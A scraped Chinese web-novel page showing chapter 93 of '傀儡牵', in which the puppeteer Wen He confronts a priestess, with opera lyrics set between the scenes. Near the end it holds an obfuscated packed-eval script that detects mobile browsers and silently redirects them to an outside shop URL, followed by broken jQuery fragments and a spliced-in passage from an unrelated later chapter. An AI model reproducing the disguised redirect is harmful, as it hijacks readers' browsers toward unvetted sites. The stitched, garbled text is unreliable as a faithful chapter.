文趣网 > 其他小说 > 傀儡牵 > 93. 《将军令》
    【“众武将个个健壮和英勇,如今却皆立朝堂愁见愁;

    江山不保怎能捱,我自披挂向东来;

    女子骁勇长枪起,端看巾帼呐如何胜儿郎。”】

    闻赫一愣。

    归仪罗尚未归京——至少明面上是如此,而早前的纳征队伍亦早已离去,这个祝官此时进京是因着何事?她是为谁来的?

    她不带人同行尚可归于低调行事,可她又衣着显眼,招摇过市,看着似是要引起什么人的注意。

    有侍女碎步上前来,附耳与成芸慧说了什么,闻赫便见她搭在镶了青玉的桌面上的手指轻轻动了动。

    成芸慧听完了对方所报之事,只点头,随即摆手叫人退下。待人离得远了方才转头看向一旁端坐的路韫生,转向另一话头:“师兄可还记得早些年我们奉宗主命下过一趟西南?”

    闻赫不知这事儿,闻言亦扭头去看路韫生。

    路韫生颔首:“记得。去取陨铁。”

    闻赫想起如今仍在她空间袋中存放着的那块陨铁。

    “陨火又燃了。”成芸慧道。

    路韫生微微蹙起了眉头:“彴约?卫粼未提。”

    成芸慧点头:“我想是有人搞鬼。”她搭在桌面上的指尖画了个半圆,似是在绕线,“我夫君许是想派人去看看。我亦有此想法,却不知咱们那块陨铁拿来是做什么的,若是无甚干系咱们就免了这趟走动,专注于京中之事。如今多数势力皆被引入京城,在此处还好趁乱下手。”

    路韫生一时未答,闻赫却忽的想起现在在路韫生胸膛中跳动的那枚‘能源’。那玩意儿好像就是她师父从西南边陲弄回来的,她那时琢磨了许久,只琢磨出个能维持人血脉缓慢流动、保证身体不损的功效来。也正因此,她利用那东西才能做得出‘活傀儡’。

    疑惑既已出现便要解决。闻赫问:“你们哪年去的?”

    成芸慧并不作敷衍,仔细想了方答:“六年前?差不多七年。”

    时间也对得上。

    闻赫缓缓抽了口气,伸手抓住了路韫生的手臂:“我们得去看看。”

    【“情愿那常驻边关守烽台,绝不见山河破碎庙堂歪;

    沙场埋骨忠魂在,铁血相铸何须栽(呀——)”】

    自承平王府出来,路韫生便直道:“我得去找一趟卫粼。”

    闻赫抬头看了一眼天色:“现在?”

    路韫生点头:“他很闲。”

    他说话时面无表情,倒叫闻赫看着觉得有趣,不由得笑了一声,允了。

    那在此处就该分头。路韫生同她嘱咐一声“路上当心”,便要转头往另一方向走。

    “师兄,”闻赫叫住他,“若能见着玉驰骁替我问一声好,或是得闲同谕令使问候一下柳宿。”

    柳宿那事儿拖得也够久了。她跟卫粼那般不熟,想知道些事儿得玩心眼子。但万一她师兄此次就能打听出点什么来呢,毕竟‘好友’之间总会更加‘相熟’一些,有些事不能同她讲,指不定就能同她师兄说。

    路韫生应了。二人分头而行。

    闻赫断断续续数着关门闭店的铺子门口的灯笼一路向前,却在寂静中听见了木屐声响。

    玄青长衣上的十色丝线在幽月下泛着浅光。挂满禾谷长穗、雀羽长骨的祭祀权杖轻轻一敲,那身着极具特色的女人轻轻笑了一声,嗓音沙哑却饱含砂砾摩擦般的质感:

    “巧遇。久闻大名,闻少宗主。”

    闻赫敛下眉眼,垂在身侧的指腹轻轻捻动。

    暂且不论这人是否一直在此等着与她‘巧遇’。自从下山后她才知道有这么多人听过她的‘大名’,大多甚至还认得她的脸,能叫她直接免去与人相交时要交换姓名这一节。

    “你是同闻竺有关系还是怎么着?”她面上无笑,话音中却稍带了些。

    她现在愈发觉得自己似是走错了路,却又发现自己正在大道上走得无比通顺。像是那戏中傀儡,被人设计却又不知用途,想要脱离时又被新生的线索拉回,只能全凭猜测去试探前行。

    想知道的线索是往脸上送的——所有人都认得她,都与她莫名的亲近——却无人愿意好好的、清楚的告知她到底要她知道什么,又要她做什么。

    有些好笑。她想找回‘心脏’,却正是被这东西吊着,像头被萝卜引诱的驴。

    念头不过一瞬,闻赫却不与对方讲理。她骤然出手,扬腕挑指,复又渐次下压、勾指、绕线。

    傀儡冲出,及至祝官近前时仰面抬腿,脚尖向着对方下颌挑去。

    祝官不退不避,翻手横杖前推。杖头上的飞羽谷穗随着动作翻飞,鬼面张大了嘴,更显狰狞诡异。

    傀儡的脚尖勾上了杖身,闻赫拢线回扯,傀儡骤然翻身回蜷,试图借机将长杖从对方手中拧下。

    祝官却顺势脚尖一点,侧身绕臂。杖身并不脱手,径直在她的掌心中转了大半圈。与此同时她竟伸手握住傀儡脚腕,借着它蜷身的动作将自己与闻赫之间的距离拉近。待到傀儡因势能不足而生缓势时骤然前踏,杖身斜刺脱离傀儡的争夺,随即俯身直冲闻赫而来。

    闻赫双手交错,傀儡在半空中急转身形,关节被拉扯着急速扭转形态,发出银铁摩擦的刺耳声响。

    傀儡自后方向着祝官缠去,试图缠上对方的身体,却在眨眼间失去了目标。

    闻赫后退了一步,双臂并抬挡于身前。

    傀儡瘫软在地,无形的傀儡丝束上了对方的脖颈、肘部关节与手腕,钝且打磨得油亮的杖尖却穿过她的臂间缝隙搭上了她的颈侧。

    “脾气真大。我同贵国三皇女沙场对阵时你怕不是还在与你爹闹呢。”祝官收杖,毫不在意傀儡丝在她的颈间勒出的伤痕,咧嘴对闻赫露出一排白牙,抬手稍一比划,“哦,那时她也很小,个头勉强到我胸口。”

    “我现在能直接勒断你的脖子。”闻赫声音冰冷。

    祝官却不急不缓地一掸襟前布料,她颈间所佩的狼牙一阵叮当乱响:“但你不想听听我为什么来吗?”

    【“我年十二上沙场,母与舅氏皆良将;

    国有难,怎不能挥戈将身献,非得那重重麻衣镇关隘;

    哪一阵未有骨嶙峋?见不得残甲尽忠还。”】

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17828928|203043||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不知是热的还是归仪罗那酒喝的,总之这生辰过得人头昏脑涨。翌日孟如瑛又与林牧慕一同来了戏班,路韫生不在,闻赫便干脆吩咐将人带入后院屋里来。

    她已将舍利血玉中的咒术与阵法全数解开,此时见孟如瑛二人一前一后的进屋,脸色都不大好看,便问:“怎么了?”

    “好消息和坏消息先听哪一个?”林牧慕板着小脸儿问她。

    闻赫眨眨眼:“坏消息。”

    林牧慕煞有介事地点点头:“今上病了,暂由大皇子代政。”

    闻赫“啊”了一声:“那好消息呢?”

    林牧慕这会儿露出个笑来:“送进去的有药宗的药。”

    孟如瑛在旁接话道:“秦先生说那药见效较快,反噬稍慢。”

    闻赫指尖一敲:“所以这药是哪位贵人托你们定的?”

    林牧慕头上的发鬏一晃:“嘿,谁赚着好儿了就是谁呗。”

    孟如瑛抬手在她脑后轻轻一拍:“天子脚下怎么说话呢。”

    林牧慕一缩脖子,捂着脑袋不说话了。

    但这话说都说了,听的人也全听去了,孟如瑛这番也不过是做个样子。

    为求准确,闻赫到底问了一句:“小?”

    孟如瑛一愣。林牧慕亦是一脸茫然地抬头看她。

    还是孟如瑛道:“是大。”

    闻赫偷偷松了口气,亏得多问了一句。

    她可当真以为得了好儿的得是归老二,既能时常借由探病之名多在御前露脸,又能借机藏拙去抓老大的破绽,此等机会冯衍不可能不帮他主子打算。

    她思来想去,最终将出了分歧的缘由归于一个问题:“贵人不知药效?”

    “不清楚。”孟如瑛微微摇头,“此事是楼中其他姐姐们过的手,但听秦先生那说法许是不知。”

    闻赫眉梢一动。

    药宗这番动作又显得有了倾向。

    “西宫那位呢?”她又问。

    孟如瑛细细思索了近半刻钟,方答:“无消息,我去打听打听。”

    闻赫听闻这话便将视线转向林牧慕:“牧慕现在只管揍人?”

    这话有些糙,林牧慕听得一呛,急声辩驳:“姐姐们不叫我做我能怎么办!”

    “阿赫这是玩笑话。”孟如瑛抬手一拍她头上双鬏,捋毛顺发,姑且算是安慰一番。

    有人在此时敲响了外间的门。

    闻赫叫孟如瑛与林牧慕稍候,自己则起身出了内间去开门。

    内间门扇轻掩,外间的门扇拉开,便见吕文林捧着一只木头机关小雀站在外头。

    闻赫侧身让了让,叫吕文林进来。

    她晓得出了事儿,干脆直问:“哪儿?”

    吕文林抚了一把小雀的木翅,取出它肚子里的纸条来递给闻赫:“西方生了水患,咱们的人传了信儿来,说是好像在入汛前见着章垣师兄了。”

    闻赫眼中神色陡然冷下。

    她二话不说,指腹一捻,指节宽的纸条随着她的动作展开。她一目十行,见在纸条末尾赫然写着三个字:

    偈州府。